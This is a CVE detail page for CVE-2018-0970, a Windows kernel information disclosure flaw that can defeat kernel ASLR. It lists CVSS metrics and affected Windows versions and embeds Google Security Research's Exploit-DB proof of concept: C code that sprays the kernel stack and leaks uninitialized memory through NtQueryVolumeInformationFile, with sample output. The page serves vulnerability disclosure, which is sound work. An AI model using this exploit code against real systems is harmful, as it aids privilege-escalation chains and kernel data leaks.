CVE-2018-0970 : Detail

CVE-2018-0970

5.5
/
Medium
88.66%V3
Local
2018-04-11
23h00 +00:00
2018-04-18
07h57 +00:00
CVE.org
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CVE Descriptions

An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass, aka "Windows Kernel Information Disclosure Vulnerability." This affects Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2, Windows 10, Windows 10 Servers. This CVE ID is unique from CVE-2018-0887, CVE-2018-0960, CVE-2018-0968, CVE-2018-0969, CVE-2018-0971, CVE-2018-0972, CVE-2018-0973, CVE-2018-0974, CVE-2018-0975.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 44460

Publication date : 2018-04-15 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* We have discovered that the nt!NtQueryVolumeInformationFile system call invoked against certain kernel objects discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects Windows 10 (32/64-bit); other versions were not tested. The paths that we have observed to trigger the leak in our test Windows 10 (1709) 64-bit VM are: --- cut --- "\SystemRoot" "\Device\LanmanRedirector" "\Device\MailslotRedirector" --- cut --- There are two types of leaks that can occur, both in the output IO_STATUS_BLOCK structure [1]: --- cut --- typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; PVOID Pointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; --- cut --- The first type is a 64-bit specific leak of 4 bytes of uninitialized kernel stack memory, corresponding to the upper 32 bits of the nested union, if the "Status" field is initialized, but "Pointer" is not. This is caused by the mismatch between sizeof(NTSTATUS)=4 and sizeof(PVOID)=8 on x64 platforms. The second type is when a completely uninitialized copy of IO_STATUS_BLOCK is passed down to the user-mode client. This results in a disclosure of 8 kernel stack bytes on x86 systems, and 16 bytes on x64 systems. Both types of leaks have been observed for various information classes tested against the three offending objects (SystemRoot, LanmanRedirector, MailslotRedirector). The problem is best illustrated by running the attached proof-of-concept program, which sprays the kernel stack with a 0x41 ('A') marker byte, invokes the nt!NtQueryVolumeInformationFile syscall with increasing information classes, and dumps the contents of the output IO_STATUS_BLOCK structures. The result of starting it in our test Windows 10 64-bit environment is as follows: --- cut --- -------------- Testing \SystemRoot Class: 1, Status: 0 00000000: 00 00 00 00 41 41 41 41 12 00 00 00 00 00 00 00 ....AAAA........ Class: 3, Status: 0 00000000: 00 00 00 00 41 41 41 41 18 00 00 00 00 00 00 00 ....AAAA........ Class: 4, Status: 0 00000000: 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 ................ Class: 5, Status: 0 00000000: 00 00 00 00 41 41 41 41 14 00 00 00 00 00 00 00 ....AAAA........ Class: 6, Status: c0000022 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Class: 7, Status: 0 00000000: 00 00 00 00 41 41 41 41 20 00 00 00 00 00 00 00 ....AAAA ....... Class: 8, Status: 0 00000000: 00 00 00 00 41 41 41 41 40 00 00 00 00 00 00 00 ....AAAA@....... Class: 9, Status: c000000d 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Class: a, Status: c000000d 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: b, Status: 0 00000000: 00 00 00 00 41 41 41 41 1c 00 00 00 00 00 00 00 ....AAAA........ Class: c, Status: 0 00000000: 00 00 00 00 41 41 41 41 04 00 00 00 00 00 00 00 ....AAAA........ Class: d, Status: c000000d 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA -------------- Testing \Device\LanmanRedirector Class: 1, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: 3, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: 4, Status: 0 00000000: 00 00 00 00 41 41 41 41 08 00 00 00 00 00 00 00 ....AAAA........ Class: 5, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: 6, Status: c0000022 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Class: 7, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: 8, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: 9, Status: c000003b 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Class: a, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: b, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: c, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: d, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA -------------- Testing \Device\MailslotRedirector Class: 1, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: 3, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: 4, Status: 0 00000000: 00 00 00 00 41 41 41 41 08 00 00 00 00 00 00 00 ....AAAA........ Class: 5, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: 6, Status: c0000022 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Class: 7, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: 8, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: 9, Status: c000003b 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Class: a, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: b, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: c, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Class: d, Status: c0000002 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA --- cut --- It is clearly visible that a number of uninitialized bytes from the stack (indicated by the 0x41 value) are returned to the caller. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <winternl.h> #include <ntstatus.h> #include <cstdio> #pragma comment(lib, "ntdll.lib") extern "C" { NTSTATUS NTAPI NtMapUserPhysicalPages( PVOID BaseAddress, ULONG NumberOfPages, PULONG PageFrameNumbers ); NTSTATUS NTAPI NtQueryVolumeInformationFile( _In_ HANDLE FileHandle, _Out_ PIO_STATUS_BLOCK IoStatusBlock, _Out_ PVOID FsInformation, _In_ ULONG Length, _In_ DWORD FsInformationClass ); }; VOID PrintHex(PVOID Buffer, ULONG dwBytes) { PBYTE Data = (PBYTE)Buffer; for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PVOID ptr, BYTE byte, ULONG size) { PBYTE _ptr = (PBYTE)ptr; for (ULONG i = 0; i < size; i++) { _ptr[i] = byte; } } VOID SprayKernelStack() { static SIZE_T buffer[1024]; MyMemset(buffer, 'A', sizeof(buffer)); NtMapUserPhysicalPages(buffer, ARRAYSIZE(buffer), (PULONG)buffer); MyMemset(buffer, 'B', sizeof(buffer)); } VOID TestHandle(HANDLE hObject) { static BYTE OutputBuffer[1024]; for (DWORD Class = 0; Class < 16; Class++) { IO_STATUS_BLOCK iosb; RtlZeroMemory(&iosb, sizeof(iosb)); SprayKernelStack(); NTSTATUS Status = NtQueryVolumeInformationFile(hObject, &iosb, OutputBuffer, sizeof(OutputBuffer), (FILE_INFORMATION_CLASS)Class); if (Status == STATUS_INVALID_INFO_CLASS || Status == STATUS_INVALID_DEVICE_REQUEST) { continue; } printf("Class: %x, Status: %x\n", Class, Status); PrintHex(&iosb, sizeof(iosb)); } } VOID TestObject(PWCHAR Name) { HANDLE hFile = NULL; OBJECT_ATTRIBUTES attrs; IO_STATUS_BLOCK iosb; UNICODE_STRING UnicodeName; RtlInitUnicodeString(&UnicodeName, Name); InitializeObjectAttributes(&attrs, &UnicodeName, 0, NULL, NULL); NTSTATUS Status = NtCreateFile(&hFile, FILE_READ_ATTRIBUTES, &attrs, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN, 0, NULL, 0); if (NT_SUCCESS(Status)) { wprintf(L"-------------- Testing %s\n", Name); TestHandle(hFile); CloseHandle(hFile); } } int main() { TestObject(L"\\SystemRoot"); TestObject(L"\\Device\\LanmanRedirector"); TestObject(L"\\Device\\MailslotRedirector"); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version *

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version *

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version *

References

http://www.securitytracker.com/id/1040657
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/103645
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/44460/
Tags : exploit, x_refsource_EXPLOIT-DB